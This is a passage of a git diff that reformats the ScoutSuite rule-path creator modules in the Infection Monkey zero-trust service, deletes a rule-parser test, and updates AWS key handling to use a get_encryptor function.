to assign" + f"this rule to any rule path creators." + ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py index ee7f7c38b..56734e1a0 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py @@ -2,12 +2,16 @@ from abc import ABC, abstractmethod from enum import Enum from typing import List, Type -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import FINDINGS, SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import ( + FINDINGS, + SERVICE_TYPES, +) class AbstractRulePathCreator(ABC): - @property @abstractmethod def service_type(self) -> SERVICE_TYPES: @@ -20,5 +24,5 @@ class AbstractRulePathCreator(ABC): @classmethod def build_rule_path(cls, rule_name: Enum) -> List[str]: - assert(rule_name in cls.supported_rules) + assert rule_name in cls.supported_rules return [cls.service_type.value, FINDINGS, rule_name.value] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py index 10adb474c..55f718608 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py @@ -1,10 +1,12 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import CloudformationRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import ( + CloudformationRules, +) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 + AbstractRulePathCreator, +) class CloudformationRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.CLOUDFORMATION supported_rules = CloudformationRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py index 2f626dfd5..1f764ec8b 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py @@ -1,10 +1,12 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import CloudTrailRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import ( + CloudTrailRules, +) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 + AbstractRulePathCreator, +) class CloudTrailRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.CLOUDTRAIL supported_rules = CloudTrailRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py index f6d4d673d..573d129ee 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py @@ -1,10 +1,12 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import CloudWatchRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import ( + CloudWatchRules, +) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 + AbstractRulePathCreator, +) class CloudWatchRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.CLOUDWATCH supported_rules = CloudWatchRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py index 59a2e49eb..45cc2e3d6 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py @@ -1,10 +1,12 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import ConfigRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import ( + ConfigRules, +) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 + AbstractRulePathCreator, +) class ConfigRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.CONFIG supported_rules = ConfigRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py index 4a37b0a7e..41e42180b 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py @@ -1,10 +1,10 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 + AbstractRulePathCreator, +) class EC2RulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.EC2 supported_rules = EC2Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py index a38ae2881..65b320292 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py @@ -1,10 +1,10 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elb_rules import ELBRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 + AbstractRulePathCreator, +) class ELBRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.ELB supported_rules = ELBRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py index 2472bf076..8a560f401 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py @@ -1,10 +1,10 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rules import ELBv2Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 + AbstractRulePathCreator, +) class ELBv2RulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.ELB_V2 supported_rules = ELBv2Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py index a601cb9cd..0ab9e686f 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py @@ -1,10 +1,10 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 + AbstractRulePathCreator, +) class IAMRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.IAM supported_rules = IAMRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py index 0b8bf54af..56252a3f6 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py @@ -1,10 +1,10 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 + AbstractRulePathCreator, +) class RDSRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.RDS supported_rules = RDSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py index 4de7016a4..90ba44308 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py @@ -1,10 +1,12 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import RedshiftRules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import ( + RedshiftRules, +) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 + AbstractRulePathCreator, +) class RedshiftRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.REDSHIFT supported_rules = RedshiftRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py index 4c0a0dccc..aa6f101aa 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py @@ -1,10 +1,10 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 + AbstractRulePathCreator, +) class S3RulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.S3 supported_rules = S3Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py index c7cac2bce..4530aa097 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py @@ -1,10 +1,10 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 + AbstractRulePathCreator, +) class SESRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.SES supported_rules = SESRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py index 60a2f5b1c..bb619f92f 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py @@ -1,10 +1,10 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 + AbstractRulePathCreator, +) class SNSRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.SNS supported_rules = SNSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py index 619cf2ddb..19229c1d6 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py @@ -1,10 +1,10 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sqs_rules import SQSRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 + AbstractRulePathCreator, +) class SQSRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.SQS supported_rules = SQSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py index 280d0933e..7f3cfecde 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py @@ -1,10 +1,10 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.vpc_rules import VPCRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 + AbstractRulePathCreator, +) class VPCRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.VPC supported_rules = VPCRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py index 4dce7ed2b..d724ca584 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py @@ -1,35 +1,63 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - cloudformation_rule_path_creator import CloudformationRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - cloudtrail_rule_path_creator import CloudTrailRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - cloudwatch_rule_path_creator import CloudWatchRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - config_rule_path_creator import ConfigRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - ec2_rule_path_creator import EC2RulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - elb_rule_path_creator import ELBRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - elbv2_rule_path_creator import ELBv2RulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - iam_rule_path_creator import IAMRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - rds_rule_path_creator import RDSRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - redshift_rule_path_creator import RedshiftRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - s3_rule_path_creator import S3RulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - ses_rule_path_creator import SESRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - sns_rule_path_creator import SNSRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators. \ - sqs_rule_path_creator import SQSRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators. \ - vpc_rule_path_creator import VPCRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudformation_rule_path_creator import ( # noqa: E501 + CloudformationRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudtrail_rule_path_creator import ( # noqa: E501 + CloudTrailRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudwatch_rule_path_creator import ( # noqa: E501 + CloudWatchRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.config_rule_path_creator import ( # noqa: E501 + ConfigRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ec2_rule_path_creator import ( # noqa: E501 + EC2RulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elb_rule_path_creator import ( # noqa: E501 + ELBRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elbv2_rule_path_creator import ( # noqa: E501 + ELBv2RulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.iam_rule_path_creator import ( # noqa: E501 + IAMRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.rds_rule_path_creator import ( # noqa: E501 + RDSRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.redshift_rule_path_creator import ( # noqa: E501 + RedshiftRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.s3_rule_path_creator import ( # noqa: E501 + S3RulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ses_rule_path_creator import ( # noqa: E501 + SESRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sns_rule_path_creator import ( # noqa: E501 + SNSRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sqs_rule_path_creator import ( # noqa: E501 + SQSRulePathCreator, +) +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.vpc_rule_path_creator import ( # noqa: E501 + VPCRulePathCreator, +) -RULE_PATH_CREATORS_LIST = [EC2RulePathCreator, ELBv2RulePathCreator, RDSRulePathCreator, RedshiftRulePathCreator, - S3RulePathCreator, IAMRulePathCreator, CloudTrailRulePathCreator, ELBRulePathCreator, - VPCRulePathCreator, CloudWatchRulePathCreator, SQSRulePathCreator, SNSRulePathCreator, - SESRulePathCreator, ConfigRulePathCreator, CloudformationRulePathCreator] +RULE_PATH_CREATORS_LIST = [ + EC2RulePathCreator, + ELBv2RulePathCreator, + RDSRulePathCreator, + RedshiftRulePathCreator, + S3RulePathCreator, + IAMRulePathCreator, + CloudTrailRulePathCreator, + ELBRulePathCreator, + VPCRulePathCreator, + CloudWatchRulePathCreator, + SQSRulePathCreator, + SNSRulePathCreator, + SESRulePathCreator, + ConfigRulePathCreator, + CloudformationRulePathCreator, +] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py deleted file mode 100644 index afe14c54c..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py +++ /dev/null @@ -1,37 +0,0 @@ -from enum import Enum - -import pytest - -from common.utils.exceptions import RulePathCreatorNotFound -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser -from monkey_island.cc.services.zero_trust.test_common.raw_scoutsute_data import RAW_SCOUTSUITE_DATA - - -class ExampleRules(Enum): - NON_EXSISTENT_RULE = 'bogus_rule' - - -ALL_PORTS_OPEN = EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL - -EXPECTED_RESULT = {'description': 'Security Group Opens All Ports to All', - 'path': 'ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR', - 'level': 'danger', - 'display_path': 'ec2.regions.id.vpcs.id.security_groups.id', - 'items': [ - 'ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups.' - 'sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR'], - 'dashboard_name': 'Rules', 'checked_items': 179, 'flagged_items': 2, 'service': 'EC2', - 'rationale': 'It was detected that all ports in the security group are open <...>', - 'remediation': None, 'compliance': None, 'references': None} - - -def test_get_rule_data(): - # Test proper parsing of the raw data to rule - results = RuleParser.get_rule_data(RAW_SCOUTSUITE_DATA[SERVICES], ALL_PORTS_OPEN) - assert results == EXPECTED_RESULT - - with pytest.raises(RulePathCreatorNotFound): - RuleParser.get_rule_data(RAW_SCOUTSUITE_DATA[SERVICES], ExampleRules.NON_EXSISTENT_RULE) - pass diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py index 701598168..36eae6271 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py @@ -3,10 +3,10 @@ from typing import Tuple from ScoutSuite.providers.base.authentication_strategy import AuthenticationException from common.cloud.scoutsuite_consts import CloudProviders -from common.utils.exceptions import InvalidAWSKeys -from monkey_island.cc.server_utils.encryptor import encryptor -from monkey_island.cc.services.config import ConfigService from common.config_value_paths import AWS_KEYS_PATH +from common.utils.exceptions import InvalidAWSKeys +from monkey_island.cc.server_utils.encryptor import get_encryptor +from monkey_island.cc.services.config import ConfigService def is_cloud_authentication_setup(provider: CloudProviders) -> Tuple[bool, str]: @@ -15,36 +15,42 @@ def is_cloud_authentication_setup(provider: CloudProviders) -> Tuple[bool, str]: return True, "AWS keys already setup." import ScoutSuite.providers.aws.authentication_strategy as auth_strategy + try: profile = auth_strategy.AWSAuthenticationStrategy().authenticate() - return True, f" Profile \"{profile.session.profile_name}\" is already setup. " + return True, f' Profile "{profile.session.profile_name}" is already setup. ' except AuthenticationException: return False, "" def is_aws_keys_setup(): - return (ConfigService.get_config_value(AWS_KEYS_PATH + ['aws_access_key_id']) and - ConfigService.get_config_value(AWS_KEYS_PATH + ['aws_secret_access_key'])) + return ConfigService.get_config_value( + AWS_KEYS_PATH + ["aws_access_key_id"] + ) and ConfigService.get_config_value(AWS_KEYS_PATH + ["aws_secret_access_key"]) def set_aws_keys(access_key_id: str, secret_access_key: str, session_token: str): if not access_key_id or not secret_access_key: - raise InvalidAWSKeys("Missing some of the following fields: access key ID, secret access key.") - _set_aws_key('aws_access_key_id', access_key_id) - _set_aws_key('aws_secret_access_key', secret_access_key) - _set_aws_key('aws_session_token', session_token) + raise InvalidAWSKeys( + "Missing some of the following fields: access key ID, secret access key." + ) + _set_aws_key("aws_access_key_id", access_key_id) + _set_aws_key("aws_secret_access_key", secret_access_key) + _set_aws_key("aws_session_token", session_token) def _set_aws_key(key_type: str, key_value: str): path_to_keys = AWS_KEYS_PATH - encrypted_key = 